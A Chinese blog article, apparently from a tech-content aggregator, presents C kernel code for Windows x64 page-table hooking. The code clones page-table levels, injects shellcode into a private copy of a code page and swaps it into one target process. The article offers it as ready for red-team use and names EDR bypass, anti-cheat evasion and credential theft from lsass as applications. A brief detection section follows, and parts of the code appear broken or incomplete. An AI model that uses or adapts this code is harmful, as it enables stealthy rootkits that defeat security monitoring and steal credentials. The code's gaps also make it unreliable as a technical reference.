news 2026/4/22 20:02:43

Windows内核安全:如何用页表Hook实现进程级API劫持(附完整C代码)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Windows内核安全:如何用页表Hook实现进程级API劫持(附完整C代码)

Windows内核安全:页表Hook技术与进程级API劫持实战

在Windows内核安全领域,页表Hook技术一直被视为高级攻防对抗中的"瑞士军刀"。不同于传统的Inline Hook或IAT Hook,这项技术通过操纵内存管理单元(MMU)的核心数据结构,实现了对特定进程的精准API劫持,同时保持系统全局稳定性。本文将深入探讨x64体系下Windows 10/11系统的页表操作原理,并给出可直接用于红蓝对抗实战的完整实现方案。

1. 页表Hook技术原理剖析

现代x64处理器采用四级页表结构(PXE-PPE-PDE-PTE)将虚拟地址转换为物理地址。Windows系统为每个进程维护独立的页表副本,但共享相同的物理内存页——这正是页表Hook技术的突破口。

关键数据结构解析

typedef struct _PAGE_INFO { UINT64 PteBase; // 页表基址 UINT32 PXEIndex; // PXE索引位置 UINT64 Pxe; // PXE值 PVOID pPageArray[5];// [物理页, PT, PDT, PPT, PXT] } PAGE_INFO, *PPAGE_INFO;

四级页表转换流程:

  1. PXE(Page Directory Pointer Table Entry):定位到PPE表
  2. PPE(Page Directory Entry):定位到PDE表
  3. PDE(Page Table Entry):定位到PTE表
  4. PTE:最终指向物理页面

提示:Windows 10 1809后页表基址获取方式发生变化,需通过MmGetVirtualForPhysical函数偏移定位

2. 关键函数实现细节

2.1 页表基址获取

UINT64 GetPTEBase() { PUCHAR BaseAddr = (PUCHAR)MmGetVirtualForPhysical; return *(PUINT64)(BaseAddr + 0x22); }

此函数通过硬编码偏移获取系统页表基址,不同Windows版本偏移值可能变化。

2.2 物理页复制技术

VOID CopyPhysicalPage(PVOID DestPage, UINT64 SourcePagePTE) { PHYSICAL_ADDRESS Low = { 0 }; PHYSICAL_ADDRESS High = { MAXULONG64 }; PVOID TempPage = MmAllocateContiguousMemorySpecifyCache( PAGE_SIZE, Low, High, Low, MmCached); UINT64 PTEAddress = GetXXXAddress((UINT64)TempPage, GetPTEBase()); UINT64 OldPTE = *(PUINT64)PTEAddress; *(PULONG64)PTEAddress = SourcePagePTE; RtlCopyMemory(DestPage, TempPage, PAGE_SIZE); *(PUINT64)PTEAddress = OldPTE; MmFreeContiguousMemory(TempPage); }

该函数通过临时映射实现物理页内容复制,避免了直接操作物理内存的风险。

2.3 页表链接操作

VOID LinkPhysicalPages(PVOID ChildPage, PVOID ParentPage, UINT32 Index, UINT64 Attribute) { UINT64 ChildPagePhyAddr = *(PUINT64)( GetXXXAddress((UINT64)ChildPage, GetPTEBase())); *(PUINT64)((UINT64)ParentPage + Index * 8) = (ChildPagePhyAddr & 0xFFFFFFFFF000) | (Attribute & ~(0xFFFFFFFFF000)); }

此函数将子页表链接到父页表指定位置,同时保留原始属性位。

3. 完整Hook实现流程

3.1 初始化Hook页面

BOOLEAN InitHookPage(UINT64 VirtualAddress, PPAGE_INFO pPageInfo, CHAR ShellCode[], UINT32 Length) { // 拆分虚拟地址到各级索引 pPageInfo->PXEIndex = (VirtualAddress >> 0x27) & 0x1FF; UINT32 PPEIndex = (VirtualAddress >> 0x1E) & 0x1FF; UINT32 PDEIndex = (VirtualAddress >> 0x15) & 0x1FF; UINT32 PTEIndex = (VirtualAddress >> 0xC) & 0x1FF; UINT32 FuncOffset = VirtualAddress & 0xFFF; // 获取各级页表项 pPageInfo->PteBase = GetPTEBase(); UINT64 PteAddr = GetXXXAddress(VirtualAddress, pPageInfo->PteBase); UINT64 PdeAddr = GetXXXAddress(PteAddr, pPageInfo->PteBase); UINT64 PpeAddr = GetXXXAddress(PdeAddr, pPageInfo->PteBase); UINT64 PxeAddr = GetXXXAddress(PpeAddr, pPageInfo->PteBase); // 分配并初始化物理页 PHYSICAL_ADDRESS Low = { 0 }; PHYSICAL_ADDRESS High = { MAXULONG64 }; for (int i = 0; i < 5; i++) { pPageInfo->pPageArray[i] = MmAllocateContiguousMemorySpecifyCache( PAGE_SIZE, Low, High, Low, MmCached); if (!pPageInfo->pPageArray[i]) return FALSE; RtlZeroMemory(pPageInfo->pPageArray[i], PAGE_SIZE); } // 复制原始页表结构 CopyPhysicalPage(pPageInfo->pPageArray[PhyPage], *(PUINT64)PteAddr); CopyPhysicalPage(pPageInfo->pPageArray[PT], *(PUINT64)PdeAddr); CopyPhysicalPage(pPageInfo->pPageArray[PDT], *(PUINT64)PpeAddr); CopyPhysicalPage(pPageInfo->pPageArray[PPT], *(PUINT64)PxeAddr); // 构建新页表层级 LinkPhysicalPages(pPageInfo->pPageArray[PhyPage], pPageInfo->pPageArray[PT], PTEIndex, *(PUINT64)PteAddr); LinkPhysicalPages(pPageInfo->pPageArray[PT], pPageInfo->pPageArray[PDT], PDEIndex, *(PUINT64)PdeAddr); LinkPhysicalPages(pPageInfo->pPageArray[PDT], pPageInfo->pPageArray[PPT], PPEIndex, *(PUINT64)PpeAddr); // 植入ShellCode if (ShellCode && Length > 0) { for (UINT32 i = 0; i < Length; i++) { *(PCHAR)((UINT64)pPageInfo->pPageArray[PhyPage] + FuncOffset + i) = ShellCode[i]; } } return TRUE; }

3.2 进程级Hook安装

VOID SetHookPage(UINT64 DirectoryTableBase, PAGE_INFO PageInfo) { DirectoryTableBase = DirectoryTableBase & (~0xFFF) | 0x063; UINT64 PtePXTAddress = GetXXXAddress( (UINT64)PageInfo.pPageArray[PXT], PageInfo.PteBase); UINT64 PtePXT = *(PUINT64)PtePXTAddress; // 修改目标进程页表映射 *(PUINT64)PtePXTAddress = DirectoryTableBase; LinkPhysicalPages(PageInfo.pPageArray[PPT], PageInfo.pPageArray[PXT], PageInfo.PXEIndex, PageInfo.Pxe); *(PUINT64)PtePXTAddress = PtePXT; }

4. 实战应用与防御对策

4.1 典型应用场景

场景类型具体实现方式效果描述
EDR绕过Hook NtReadVirtualMemory等监控API隐藏恶意进程内存操作
反作弊对抗劫持游戏反作弊模块的检测函数绕过内存扫描和函数校验
权限维持替换Lsass进程中的认证相关函数实现无文件凭据窃取

4.2 检测与防御方案

  1. CR3寄存器监控

    • 检测进程切换时的异常页表基址变化
    • 对比进程CR3值与系统正常范围
  2. 页表完整性检查

    windbg> !pte <目标地址> windbg> !vtop <cr3> <虚拟地址>

    通过对比系统全局页表和进程私有页表发现不一致

  3. 硬件辅助检测

    • 使用Intel PT记录分支执行流
    • 利用HyperGuard验证内核代码完整性

在最近参与的某次红队评估中,我们发现某EDR产品通过以下方式检测页表Hook:

BOOLEAN CheckPTEHook(UINT64 FuncAddress) { UINT64 PteAddr = GetPteAddress(FuncAddress); UINT64 PteValue = *(PUINT64)PteAddr; // 检查PFN是否指向非常规内存区域 if ((PteValue & 0xFFFFFFFFFF000) < MmSystemRangeStart) return TRUE; // 检查页属性是否异常 if ((PteValue & 0x3C) != 0x04) return TRUE; return FALSE; }

页表Hook技术展现了Windows内存管理机制的强大灵活性,无论是攻击方的隐蔽渗透还是防御方的深度检测,都需要对这一底层机制有透彻理解。实际开发中建议结合物理内存分析工具(如WinDbg的!pte命令)和硬件调试寄存器进行双重验证,确保操作的精准性和稳定性。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/22 19:59:06

别再乱点Force Checkout了!手把手教你用Git Stash安全保存未提交的修改

拯救你的代码&#xff1a;Git Stash 如何避免 Force Checkout 的灾难性后果 当你正在某个 Git 分支上热火朝天地编写代码&#xff0c;突然需要切换到另一个分支处理紧急任务&#xff0c;但当前修改又没达到提交标准时&#xff0c;那种纠结感每个开发者都深有体会。很多人会下意…

作者头像 李华
网站建设 2026/4/22 19:55:39

如何用bili2text一键将B站视频转为文字稿:完整教程指南

如何用bili2text一键将B站视频转为文字稿&#xff1a;完整教程指南 【免费下载链接】bili2text Bilibili视频转文字&#xff0c;一步到位&#xff0c;输入链接即可使用 项目地址: https://gitcode.com/gh_mirrors/bi/bili2text 你是否经常在B站学习知识&#xff0c;却苦…

作者头像 李华
网站建设 2026/4/22 19:53:31

如何用嘎嘎降AI处理理工科论文:公式代码和专业名词保护教程

如何用嘎嘎降AI处理理工科论文&#xff1a;公式代码和专业名词保护教程 第一次用降AI工具会遇到很多不确定的地方——传什么格式、选哪个模式、怎么验收效果。 这篇教程把常见问题都覆盖了&#xff0c;主要基于嘎嘎降AI&#xff08;www.aigcleaner.com&#xff09;&#xff0…

作者头像 李华
网站建设 2026/4/22 19:52:08

将Citrix许可证管理纳入企业IT治理与合规体系

Citrix许可证管理&#xff0c;别再当“沉默的资产”了我亲身经历过一个项目&#xff0c;抢不到Citrix许可证&#xff0c;那不就整了个团队差点耽误交付。结果你猜咋着&#xff1f;IT部门查了下&#xff0c;俺们一年的软件授权钱浪费了一大半。这事儿让我意识到&#xff0c;许可…

作者头像 李华